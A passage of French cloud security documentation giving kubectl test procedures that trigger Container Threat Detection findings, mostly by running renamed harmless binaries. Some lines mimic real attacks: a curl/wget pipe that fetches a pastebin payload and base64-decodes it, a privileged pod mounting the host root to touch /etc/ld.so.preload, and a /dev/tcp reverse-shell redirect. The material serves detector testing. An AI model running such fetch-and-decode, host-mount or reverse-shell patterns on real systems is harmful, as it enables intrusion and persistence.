Cette procédure de test crée un résultat Impact: Detect Malicious Cmdlines que vous pouvez afficher dans Security Command Center et dans Cloud Logging si vous avez configuré Logging pour Container Threat Detection. L'affichage des résultats dans Cloud Logging n'est disponible que si vous activez le niveau Premium ou Enterprise de Security Command Center.

Impact : supprimer des données du disque de manière groupée

Pour déclencher un résultat Impact: Remove Bulk Data From Disk, placez un fichier binaire capable de supprimer ou d'écraser des données dans votre conteneur, puis exécutez-le. Cet exemple utilise la dernière image Ubuntu 24.04. Cela implique de copier le binaire /bin/ls et de renommer cette copie shred (ou un utilitaire similaire conçu pour la suppression sécurisée de fichiers). Le fichier binaire renommé est ensuite exécuté. Cette action est signalée comme suspecte, car elle imite le comportement souvent observé lors de tentatives de suppression de grandes quantités de données d'un disque dans un environnement conteneurisé.

1. Définissez des variables d'environnement.

2. Utilisez Cloud Shell pour accéder au plan de contrôle du cluster :

   gcloud container clusters get-credentials $CLUSTER_NAME \
       --zone $ZONE \
       --project $PROJECT
   

3. Introduisez un fichier binaire de suppression de fichier ou de données comme shred et exécutez-le :

   • Nœud x86 :

     tag="ktd-test-remove-bulk-data-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
     kubectl run \
        --restart=Never \
        --rm=true -i \
        --image marketplace.gcr.io/google/ubuntu2404:latest \
        "$tag" -- bash -c \
           "cp /bin/ls /tmp/shred; /tmp/shred"
     

   • Nœud ARM :

     tag="ktd-test-remove-bulk-data-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
     kubectl run \
        --restart=Never \
        --rm=true -i \
        --image marketplace.gcr.io/google/ubuntu2404:latest \
        --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
        {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
        "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
        "value": "arm64" } ]}}' \
        "$tag" -- bash -c \
           "cp /bin/ls /tmp/shred; /tmp/shred"
     

Cette procédure de test crée un résultat Impact: Remove Bulk Data From Disk que vous pouvez afficher dans Security Command Center et dans Cloud Logging si vous avez configuré Logging pour Container Threat Detection. L'affichage des résultats dans Cloud Logging n'est disponible que si vous activez le niveau Premium ou Enterprise de Security Command Center.

Impact : activité de minage de cryptomonnaie suspecte utilisant le protocole Stratum

Pour déclencher un résultat Impact: Suspicious crypto mining activity using the Stratum Protocol, un binaire doit être exécuté dans un conteneur avec des arguments qui ressemblent à ceux utilisés par les logiciels de minage de cryptomonnaie communiquant à l'aide du protocole Stratum. L'exemple utilise la dernière image Ubuntu 24.04. Il copie /bin/ls et renomme cette copie en binaire fictif (probablement pour simuler un mineur de crypto-monnaie). Ce binaire renommé est ensuite exécuté avec des arguments qui incluent stratum+tcp ou des indicateurs de protocole Stratum similaires. Cette activité est signalée comme suspecte, car elle imite les schémas de communication réseau des logiciels d'extraction de cryptomonnaies dans les environnements conteneurisés.

1. Définissez des variables d'environnement.

2. Utilisez Cloud Shell pour accéder au plan de contrôle du cluster :

   gcloud container clusters get-credentials $CLUSTER_NAME \
       --zone $ZONE \
       --project $PROJECT
   

3. Introduisez un utilitaire binaire tel que curl et exécutez-le avec des arguments qui ressemblent à ceux utilisés par les logiciels de minage de cryptomonnaie communiquant à l'aide du protocole Stratum :

   • Nœud x86 :

     tag="ktd-test-detect-crypto-using-stratum-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
     kubectl run \
        --restart=Never \
        --rm=true -i \
        --image marketplace.gcr.io/google/ubuntu2404:latest \
        "$tag" -- bash -c \
           "cp /bin/ls /tmp/curl; /tmp/curl --url=stratum+tcp"
     

   • Nœud ARM :

     tag="ktd-test-detect-crypto-using-stratum-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
     kubectl run \
        --restart=Never \
        --rm=true -i \
        --image marketplace.gcr.io/google/ubuntu2404:latest \
        --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
        {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
        "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
        "value": "arm64" } ]}}' \
        "$tag" -- bash -c \
           "cp /bin/ls /tmp/curl; /tmp/curl --url=stratum+tcp"
     

Cette procédure de test crée un résultat Impact: Suspicious crypto mining activity using the Stratum Protocol que vous pouvez afficher dans Security Command Center et dans Cloud Logging si vous avez configuré Logging pour Container Threat Detection. L'affichage des résultats dans Cloud Logging n'est disponible que si vous activez le niveau Premium ou Enterprise de Security Command Center.

Vous pouvez également voir un résultat supplémentaire pour la commande bash que vous exécutez dans ce test. Ce comportement est normal. Vous pouvez ignorer le résultat supplémentaire.

Script malveillant exécuté

Pour déclencher un résultat de script malveillant exécuté, vous pouvez exécuter le script de la procédure suivante dans votre conteneur.

La procédure déploie la dernière image Ubuntu 24.04, copie un script qui semble malveillant, puis l'exécute. Pour déclencher une détection, un script doit sembler malveillant pour le détecteur.

1. Définissez des variables d'environnement.

2. Utilisez Cloud Shell pour accéder au plan de contrôle du cluster :

   gcloud container clusters get-credentials $CLUSTER_NAME \
       --zone $ZONE \
       --project $PROJECT
   

3. Exécutez le script suivant dans un nouveau conteneur.

   Ce script Bourne shell intégré provient d'un pot de miel. Toutefois, il a été modifié pour ne pas exécuter le fichier binaire malveillant. L'exécution du script n'entraînera donc aucune activité malveillante dans votre conteneur. Il est possible que le fichier binaire à l'URL référencée ait été supprimé. Toute tentative d'accès à l'URL générera une erreur 404. Ce comportement est normal. La tentative de téléchargement, de décodage et d'exécution d'un fichier binaire à l'aide d'un script intégré déclenche la détection.

   • Nœud x86 :

     tag="ktd-test-malicious-script-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
     kubectl run \
        --restart=Never \
        --rm=true  -i \
        --image marketplace.gcr.io/google/ubuntu2404:latest \
        "$tag" -- sh -c \
           "(curl -fsSL https://pastebin.com/raw/KGwfArMR||wget -q -O - https://pastebin.com/raw/KGwfArMR)| base64 -d"
     

   • Nœud ARM :

     tag="ktd-test-malicious-script-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
     kubectl run \
        --restart=Never \
        --rm=true  -i \
        --image marketplace.gcr.io/google/ubuntu2404:latest \
        --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
        {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
        "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
        "value": "arm64" } ]}}' \
        "$tag" -- sh -c \
           "(curl -fsSL https://pastebin.com/raw/KGwfArMR||wget -q -O - https://pastebin.com/raw/KGwfArMR)| base64 -d"
     

Cette procédure de test crée un résultat de script malveillant exécuté que vous pouvez afficher dans Security Command Center et dans Cloud Logging si vous avez configuré la journalisation pour Container Threat Detection. L'affichage des résultats dans Cloud Logging n'est disponible que si vous activez le niveau Premium ou Enterprise de Security Command Center.

URL malveillante observée

Pour déclencher un résultat "URL malveillante observée", exécutez un fichier binaire et fournissez une URL malveillante comme argument.

L'exemple suivant déploie une image Ubuntu 24.04 et exécute /bin/curl pour accéder à un exemple d'URL de logiciel malveillant à partir du service Navigation sécurisée.

1. Définissez des variables d'environnement.

2. Utilisez Cloud Shell pour accéder au plan de contrôle du cluster :

   gcloud container clusters get-credentials $CLUSTER_NAME \
       --zone $ZONE \
       --project $PROJECT
   

3. Exécutez curl et fournissez une URL malveillante comme argument :

   • Nœud x86 :

     tag="ktd-test-malicious-url-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
     url="https://testsafebrowsing.appspot.com/s/malware.html"
     kubectl run \
        --restart=Never \
        --rm=true -i \
        --image marketplace.gcr.io/google/ubuntu2404:latest \
        "$tag" -- sh -c "cp /bin/ls /tmp/curl; /tmp/curl $url 2> /dev/null || true"
     

   • Nœud ARM :

     tag="ktd-test-malicious-url-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
     url="https://testsafebrowsing.appspot.com/s/malware.html"
     kubectl run \
           --restart=Never \
           --rm=true -i \
           --image marketplace.gcr.io/google/ubuntu2404:latest \
           --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
           {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
           "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
           "value": "arm64" } ]}}' \
           "$tag" -- sh -c "cp /bin/ls /tmp/curl; /tmp/curl $url 2> /dev/null || true"
     

Cette procédure de test déclenche un résultat d'URL malveillante observée que vous pouvez afficher dans Security Command Center et, si vous avez configuré la journalisation pour Container Threat Detection, dans Cloud Logging. L'affichage des résultats dans Cloud Logging n'est disponible que si vous activez le niveau Premium ou Enterprise de Security Command Center au niveau de l'organisation.

Persistance : modifier ld.so.preload (version bêta)

Pour déclencher la détection de modification ld.so.preload, modifiez le fichier /etc/ld.so.preload de l'hôte. Cet exemple déploie la dernière image Ubuntu 24.04, installe le système de fichiers racine de l'hôte dans le conteneur, puis met à jour /etc/ld.so.preload.

Il s'agit d'un détecteur de surveillance des fichiers qui nécessite une version spécifique de GKE.

1. Définissez des variables d'environnement.

2. Utilisez Cloud Shell pour accéder au plan de contrôle du cluster :

   gcloud container clusters get-credentials $CLUSTER_NAME \
       --zone $ZONE \
       --project $PROJECT
   

3. Exécutez un fichier binaire qui modifie le fichier /etc/ld.so.preload de l'hôte.

   • Nœud x86 :

     tag="ktd-test-ld-preload-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
     kubectl run \
        --restart=Never --rm=true -ti --image ubuntu "$tag"\
        --overrides='{"apiVersion": "v1", "spec": {
        "containers":[{"command": ["/bin/touch", "/host/etc/ld.so.preload"],
        "name": "'$tag'", "image": "marketplace.gcr.io/google/ubuntu2404:latest",
        "securityContext": {"privileged": true},
        "volumeMounts":[{"mountPath": "/host/", "name": "host-mount",
        "readOnly": false}]}],
        "volumes": [{"name": "host-mount","hostPath": {"path": "/"}}]}}'
     

   • Nœud ARM :

     tag="ktd-test-ld-preload-arm-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
     kubectl run \
        --restart=Never --rm=true -ti --image ubuntu "$tag"\
        --overrides='{"apiVersion": "v1", "spec": {
        "containers":[{"command": ["/bin/touch", "/host/etc/ld.so.preload"],
        "name": "'$tag'", "image": "marketplace.gcr.io/google/ubuntu2404:latest",
        "securityContext": {"privileged": true},
        "volumeMounts":[{"mountPath": "/host/", "name": "host-mount",
        "readOnly": false}]}],
        "volumes": [{"name": "host-mount","hostPath": {"path": "/"}}],
        "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[{ "effect":
        "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
        "value": "arm64" }] }}'
     

Cette procédure de test déclenche un résultat de modification ld.so.preload que vous pouvez afficher dans Security Command Center et, si vous avez configuré la journalisation pour Container Threat Detection, dans Cloud Logging. L'affichage des résultats dans Cloud Logging n'est disponible que si vous activez le niveau Premium ou Enterprise de Security Command Center au niveau de l'organisation.

Élévation des privilèges : utilisation abusive de Sudo pour l'élévation des privilèges (CVE-2019-14287)

Pour déclencher un résultat Privilege Escalation: Abuse of Sudo For Privilege Escalation (CVE-2019-14287), exécutez le fichier binaire sudo avec le paramètre -u#-1. Cet exemple copie le binaire /bin/ls pour imiter le binaire sudo et l'exécute avec le paramètre spécifié.

1. Définissez des variables d'environnement.

2. Utilisez Cloud Shell pour accéder au plan de contrôle du cluster :

   gcloud container clusters get-credentials $CLUSTER_NAME \
       --zone $ZONE \
       --project $PROJECT
   

3. Démarrez un fichier binaire avec une redirection /bin/echo vers le DNS public de Google :

   • Nœud x86 :

     tag="ktd-test-abuse-sudo-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
     kubectl run \
        --restart=Never \
        --rm=true -i \
        --image marketplace.gcr.io/google/ubuntu2404:latest \
        "$tag" -- bash -c \
        "cp /bin/ls /tmp/sudo; /tmp/sudo -u#-1; sleep 10"
     

   • Nœud ARM :

     tag="ktd-test-abuse-sudo-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
     kubectl run \
        --restart=Never \
        --rm=true -i \
        --image marketplace.gcr.io/google/ubuntu2404:latest \
        --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
        {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
        "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
        "value": "arm64" } ]}}' \
        "$tag" -- bash -c \
        "cp /bin/ls /tmp/sudo; /tmp/sudo -u#-1; sleep 10"
     

Cette procédure de test crée un résultat Privilege Escalation: Abuse of Sudo For Privilege Escalation (CVE-2019-14287) que vous pouvez afficher dans Security Command Center et dans Cloud Logging si vous avez configuré Logging pour Container Threat Detection. L'affichage des résultats dans Cloud Logging n'est possible que si vous activez le niveau Premium ou Enterprise de Security Command Center au niveau de l'organisation.

Élévation des privilèges : exécution sans fichier dans /dev/shm

Pour déclencher un résultat Privilege Escalation: Fileless Execution in /dev/shm, un processus doit être exécuté à partir du système de fichiers en mémoire /dev/shm. Cet exemple utilise la dernière image Ubuntu 24.04. L'utilitaire /bin/echo est copié dans /dev/shm/echo. Ce binaire renommé est ensuite exécuté. L'exécution d'un fichier sous /dev/shm est signalée comme suspecte, car elle imite le comportement d'un objet qui tente de s'exécuter en mémoire pour éviter les détections basées sur les fichiers.

1. Définissez des variables d'environnement.

2. Utilisez Cloud Shell pour accéder au plan de contrôle du cluster :

   gcloud container clusters get-credentials $CLUSTER_NAME \
       --zone $ZONE \
       --project $PROJECT
   

3. Créez un conteneur privilégié et exécutez un programme à partir d'un système de fichiers en mémoire :

   • Nœud x86 :

     tag="ktd-test-fileless-dev-shm-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
     kubectl run \
        --restart=Never \
        --rm=true -i \
        --image marketplace.gcr.io/google/ubuntu2404:latest \
        --overrides='{"spec": {"containers": [{"name": "'$tag'", "image": "marketplace.gcr.io/google/ubuntu2404:latest", "securityContext": {"privileged": true}, "command": ["bash", "-c", "cp /bin/echo /dev/shm/echo; chmod +x /dev/shm/echo; mount -o remount,exec /dev/shm; /dev/shm/echo \"Hello from /dev/shm\""]}]}}' \
        "$tag"
     

   • Nœud ARM :

     tag="ktd-test-fileless-dev-shm-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
     kubectl run \
        --restart=Never \
        --rm=true -i \
        --image marketplace.gcr.io/google/ubuntu2404:latest \
        --overrides='{"apiVersion": "v1", "spec": {
        "containers": [{"name": "'$tag'", "image": "marketplace.gcr.io/google/ubuntu2404:latest", "securityContext": {"privileged": true}, "command": ["bash", "-c", "cp /bin/echo /dev/shm/echo; chmod +x /dev/shm/echo; mount -o remount,exec /dev/shm; /dev/shm/echo \"Hello from /dev/shm\""]}],
        "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
        "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
        "value": "arm64" } ]}}' \
        "$tag"
     

Cette procédure de test crée un résultat Privilege Escalation: Fileless Execution in /dev/shm que vous pouvez afficher dans Security Command Center et dans Cloud Logging si vous avez configuré Logging pour Container Threat Detection. L'affichage des résultats dans Cloud Logging n'est disponible que si vous activez le niveau Premium ou Enterprise de Security Command Center.

Élévation des privilèges : faille liée à l'élévation des privilèges locaux de Polkit (CVE-2021-4034)

Pour déclencher un résultat Privilege Escalation: Polkit Local Privilege Escalation Vulnerability (CVE-2021-4034), exécutez un binaire pkexec avec la variable d'environnement GCONV_PATH définie en tant qu'utilisateur non racine. Cet exemple copie le binaire /bin/ls pour imiter le binaire pkexec et l'exécute avec le paramètre spécifié en tant qu'ID utilisateur 1000.

1. Définissez des variables d'environnement.

2. Utilisez Cloud Shell pour accéder au plan de contrôle du cluster :

   gcloud container clusters get-credentials $CLUSTER_NAME \
       --zone $ZONE \
       --project $PROJECT
   

3. Démarrez un fichier binaire avec une redirection /bin/echo vers le DNS public de Google :

   • Nœud x86 :

     tag="ktd-test-polkit-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
     kubectl run \
        --restart=Never \
        --rm=true -i \
        --image marketplace.gcr.io/google/ubuntu2404:latest \
        --overrides='{"apiVersion": "v1", "spec": {
        "securityContext": { "runAsUser": 1000 }}}' \
        "$tag" -- bash -c \
        "cp /bin/ls /tmp/pkexec; GCONV_PATH=junk /tmp/pkexec; sleep 10"
     

   • Nœud ARM :

     tag="ktd-test-polkit-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
     kubectl run \
        --restart=Never \
        --rm=true -i \
        --image marketplace.gcr.io/google/ubuntu2404:latest \
        --overrides='{"apiVersion": "v1", "spec": {
        "securityContext": { "runAsUser": 1000 }, "nodeSelector":
        {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
        "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
        "value": "arm64" } ]}}' \
        "$tag" -- bash -c \
        "cp /bin/ls /tmp/pkexec; GCONV_PATH=junk /tmp/pkexec; sleep 10"
     

Cette procédure de test crée un résultat Privilege Escalation: Polkit Local Privilege Escalation Vulnerability (CVE-2021-4034) que vous pouvez afficher dans Security Command Center et dans Cloud Logging si vous avez configuré Logging pour Container Threat Detection. L'affichage des résultats dans Cloud Logging n'est possible que si vous activez le niveau Premium ou Enterprise de Security Command Center au niveau de l'organisation.

Élévation des privilèges : élévation potentielle des privilèges de Sudo (CVE-2021-3156)

Pour déclencher un résultat Privilege Escalation: Sudo Potential Privilege Escalation (CVE-2021-3156), exécutez le binaire sudo en tant qu'utilisateur non racine avec le paramètre -s et un paramètre se terminant par \`. This example copies the/bin/lsbinary to imitate thesudo` binaire et l'exécute avec les paramètres spécifiés.

1. Définissez des variables d'environnement.

2. Utilisez Cloud Shell pour accéder au plan de contrôle du cluster :

   gcloud container clusters get-credentials $CLUSTER_NAME \
       --zone $ZONE \
       --project $PROJECT
   

3. Démarrez un fichier binaire avec une redirection /bin/echo vers le DNS public de Google :

   • Nœud x86 :

     tag="ktd-test-sudo-potential-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
     kubectl run \
        --restart=Never \
        --rm=true -i \
        --image marketplace.gcr.io/google/ubuntu2404:latest \
        --overrides='{"apiVersion": "v1", "spec": {
        "securityContext": { "runAsUser": 1000 }}}' \
        "$tag" -- bash -c \
        'cp /bin/ls /tmp/sudo; /tmp/sudo -s "123\\"; sleep 10'
     

   • Nœud ARM :

     tag="ktd-test-sudo-potential-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
     kubectl run \
        --restart=Never \
        --rm=true -i \
        --image marketplace.gcr.io/google/ubuntu2404:latest \
        --overrides='{"apiVersion": "v1", "spec": {
        "securityContext": { "runAsUser": 1000 },
        "nodeSelector": { "kubernetes.io/arch":"arm64" }, "tolerations":[ { "effect":
        "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
        "value": "arm64" } ]}}' \
        "$tag" -- bash -c \
        'cp /bin/ls /tmp/sudo; /tmp/sudo -s "123\\"; sleep 10'
     

Cette procédure de test crée un résultat Privilege Escalation: Sudo Potential Privilege Escalation (CVE-2021-3156) que vous pouvez afficher dans Security Command Center et dans Cloud Logging si vous avez configuré Logging pour Container Threat Detection. L'affichage des résultats dans Cloud Logging n'est possible que si vous activez le niveau Premium ou Enterprise de Security Command Center au niveau de l'organisation.

Interface système inversée

Pour déclencher un résultat d'interface système inversée, démarrez un fichier binaire avec une redirection stdin vers un socket connecté TCP. Cet exemple copie /bin/echo vers /tmp/sh, puis démarre /tmp/sh avec une redirection vers le DNS public de Google 8.8.8.8 sur le port DNS. Aucun élément n'est imprimé lorsque vous exécutez cet exemple. Pour empêcher toute injection de code externe via une attaque MTIM ("man in the middle"), cet exemple n'utilise pas le binaire /bin/sh.

1. Définissez des variables d'environnement.

2. Utilisez Cloud Shell pour accéder au plan de contrôle du cluster :

   gcloud container clusters get-credentials $CLUSTER_NAME \
       --zone $ZONE \
       --project $PROJECT
   

3. Démarrez un fichier binaire avec une redirection /bin/echo vers le DNS public de Google :

   • Nœud x86 :

     tag="ktd-test-reverse-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
     kubectl run \
        --restart=Never \
        --rm=true -i \
        --image marketplace.gcr.io/google/ubuntu2404:latest \
        "$tag" -- bash -c \
           "cp /bin/echo /tmp/sh; /tmp/sh >& /dev/tcp/8.8.8.8/53 0>&1"
     

   • Nœud ARM :

     tag="ktd-test-reverse-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
     kubectl run \
        --restart=Never \
        --rm=true -i \
        --image marketplace.gcr.io/google/ubuntu2404:latest \
        --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
        {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
        "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
        "value": "arm64" } ]}}' \
        "$tag" -- bash -c \
           "cp /bin/echo /tmp/sh; /tmp/sh >& /dev/tcp/8.8.8.8/53 0>&1"
     

Cette procédure de test crée un résultat d'interface système inversée que vous pouvez afficher dans Security Command Center et dans Cloud Logging si vous avez configuré Logging pour Container Threat Detection. L'affichage des résultats dans Cloud Logging n'est possible que si vous activez le niveau Premium ou Enterprise de Security Command Center au niveau de l'organisation.

Shell enfant inattendu

Pour tester le détecteur Unexpected Child Shell, vous pouvez créer un arbre de processus qui inclut un processus shell enfant.

L'exemple suivant crée un arbre de processus consul->dash, qui peut être détecté par le détecteur Unexpected Child Shell. Ce test est sûr, car il n'utilise que des binaires intégrés. Cet exemple effectue les opérations suivantes :

1. Crée une copie du processus sh et la nomme consul.
2. Copie le processus echo et le nomme dash.
3. Appelle le processus dash copié dans le processus consul copié.

Pour déclencher un résultat Unexpected Child Shell :

1. Définissez des variables d'environnement.

2. Utilisez Cloud Shell pour accéder au plan de contrôle du cluster :

   gcloud container clusters get-credentials $CLUSTER_NAME \
       --zone $ZONE \
       --project $PROJECT
   

3. Utilisez le processus consul fictif pour appeler un shell fictif :

   • Nœud x86 :

     tag="ktd-test-unexpected-child-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
     kubectl run \
        --restart=Never \
        --rm=true -ti \
        --image ubuntu "$tag" \
        --command -- /bin/sh -c \
           'cp /bin/sh /tmp/consul; cp /bin/echo /tmp/sh; \
           /tmp/consul -c "/tmp/sh child ran successfully & wait"'
     

   • Nœud ARM :

     tag="ktd-test-unexpected-child-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
     kubectl run \
        --restart=Never \
        --rm=true -ti \
        --image ubuntu \
        --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
        {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
        "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
        "value": "arm64" } ]}}' \
        "$tag" --command -- /bin/sh -c \
           'cp /bin/sh /tmp/consul; cp /bin/echo /tmp/sh; \
           /tmp/consul -c "/tmp/sh child ran successfully & wait"'
     

Cette procédure de test crée un résultat Unexpected Child Shell que vous pouvez afficher dans Security Command Center. Si la journalisation est configurée pour Container Threat Detection et que vous avez activé Security Command Center Premium ou Enterprise au niveau de l'organisation, vous pouvez également afficher le résultat dans Cloud Logging.

Pour réduire le bruit, lorsque vous créez un conteneur, Container Threat Detection filtre temporairement les shells enfants inattendus. Pour afficher tous les résultats "Shell enfant inattendu" lors de la configuration d'un conteneur, préfixez le nom de votre conteneur ou de votre pod avec ktd-test, comme dans l'exemple.

Étapes suivantes

• Découvrez comment utiliser Container Threat Detection.